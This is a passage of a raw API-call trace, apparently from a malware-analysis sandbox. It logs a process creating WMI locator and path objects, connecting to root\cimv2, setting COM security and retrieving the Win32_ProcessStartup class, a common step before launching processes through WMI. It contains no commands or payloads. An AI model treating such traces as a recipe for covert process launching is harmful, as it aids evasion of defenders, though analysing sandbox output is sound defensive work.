WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0960, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0146.533] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0960, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0146.533] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0960, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0146.533] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0960, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0146.533] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0960, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0146.533] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0960, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0146.533] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0146.533] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0146.533] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.534] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0146.534] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0146.534] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0146.534] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.535] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bcc4ae0) returned 0x0 [0146.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4ae0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0146.536] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4ae0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bbc07e0) returned 0x0 [0146.536] WbemDefPath:IUnknown:Release (This=0x1bcc4ae0) returned 0x0 [0146.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bbc07e0) returned 0x0 [0146.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0146.536] WbemDefPath:IUnknown:AddRef (This=0x1bbc07e0) returned 0x3 [0146.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0146.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0146.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bcc4b20) returned 0x0 [0146.536] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4b20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.536] WbemDefPath:IUnknown:Release (This=0x1bcc4b20) returned 0x3 [0146.536] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0146.536] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0146.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0146.537] WbemDefPath:IUnknown:Release (This=0x1bbc07e0) returned 0x2 [0146.537] WbemDefPath:IUnknown:Release (This=0x1bbc07e0) returned 0x1 [0146.537] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0146.537] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0146.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bbc07e0) returned 0x0 [0146.537] WbemDefPath:IUnknown:AddRef (This=0x1bbc07e0) returned 0x3 [0146.537] WbemDefPath:IUnknown:Release (This=0x1bbc07e0) returned 0x2 [0146.537] WbemDefPath:IWbemPath:SetText (This=0x1bbc07e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0146.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc07e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0146.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc07e0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0146.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc07e0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.537] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0146.537] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0146.537] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0146.537] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.538] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bcc4ac0) returned 0x0 [0146.538] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4ac0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0146.538] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc4ac0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bcc4a80) returned 0x0 [0146.538] WbemLocator:IUnknown:Release (This=0x1bcc4ac0) returned 0x0 [0146.538] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4a80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bcc4a80) returned 0x0 [0146.538] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4a80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0146.539] WbemLocator:IUnknown:AddRef (This=0x1bcc4a80) returned 0x3 [0146.539] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4a80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0146.539] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4a80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0146.539] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4a80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0146.539] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0146.539] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0146.539] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4a80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0146.539] WbemLocator:IUnknown:Release (This=0x1bcc4a80) returned 0x2 [0146.539] WbemLocator:IUnknown:Release (This=0x1bcc4a80) returned 0x1 [0146.539] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0146.539] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0146.539] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4a80, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bcc4a80) returned 0x0 [0146.539] WbemLocator:IUnknown:AddRef (This=0x1bcc4a80) returned 0x3 [0146.539] WbemLocator:IUnknown:Release (This=0x1bcc4a80) returned 0x2 [0146.539] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc07e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0146.539] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc07e0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0146.539] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc07e0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.539] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bcc4aa0) returned 0x0 [0146.540] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc4aa0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc97240) returned 0x0 [0146.823] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97240, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa039a0) returned 0x0 [0146.823] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa039a0, pProxy=0x1bc97240, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0146.823] WbemLocator:IUnknown:Release (This=0x1aa039a0) returned 0x1 [0146.823] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97240, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa039e0) returned 0x0 [0146.823] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97240, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa039a0) returned 0x0 [0146.824] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa039a0, pProxy=0x1bc97240, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0146.824] WbemLocator:IUnknown:Release (This=0x1aa039a0) returned 0x2 [0146.824] WbemLocator:IUnknown:Release (This=0x1aa039e0) returned 0x1 [0146.824] CoTaskMemFree (pv=0x1bc1bd40) [0146.824] WbemLocator:IUnknown:AddRef (This=0x1bc97240) returned 0x2 [0146.824] WbemLocator:IUnknown:Release (This=0x1bcc4aa0) returned 0x0 [0146.825] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0146.825] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0146.825] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97240, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa039b0) returned 0x0 [0146.825] WbemLocator:IRpcOptions:Query (in: This=0x1aa039b0, pPrx=0x1bcc4ca0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0146.825] WbemLocator:IUnknown:Release (This=0x1aa039b0) returned 0x2 [0146.825] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0146.825] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0146.825] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97240, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc97240) returned 0x0 [0146.825] WbemLocator:IUnknown:Release (This=0x1bc97240) returned 0x2 [0146.825] SysStringLen (param_1=0x0) returned 0x0 [0146.825] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0960, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0146.825] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0960, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0146.826] IWbemServices:GetObject (in: This=0x1bc97240, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bc77a90, ppCallResult=0x0) returned 0x0 [0146.831] IWbemClassObject:Get (in: This=0x1bc77a90, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0146.831] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0146.831] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0146.831] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0146.831] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0146.831] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0146.832] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.833] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bcc4aa0) returned 0x0 [0146.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4aa0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0146.834] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4aa0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bbc0720) returned 0x0 [0146.834] WbemDefPath:IUnknown:Release (This=0x1bcc4aa0) returned 0x0 [0146.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bbc0720) returned 0x0 [0146.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0146.834] WbemDefPath:IUnknown:AddRef (This=0x1bbc0720) returned 0x3 [0146.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0146.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0146.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bcc4d20) returned 0x0 [0146.835] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4d20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.835] WbemDefPath:IUnknown:Release (This=0x1bcc4d20) returned 0x3 [0146.835] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0146.835] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0146.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0146.835] WbemDefPath:IUnknown:Release (This=0x1bbc0720) returned 0x2 [0146.835] WbemDefPath:IUnknown:Release (This=0x1bbc0720) returned 0x1 [0146.835] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0146.835] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0146.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, 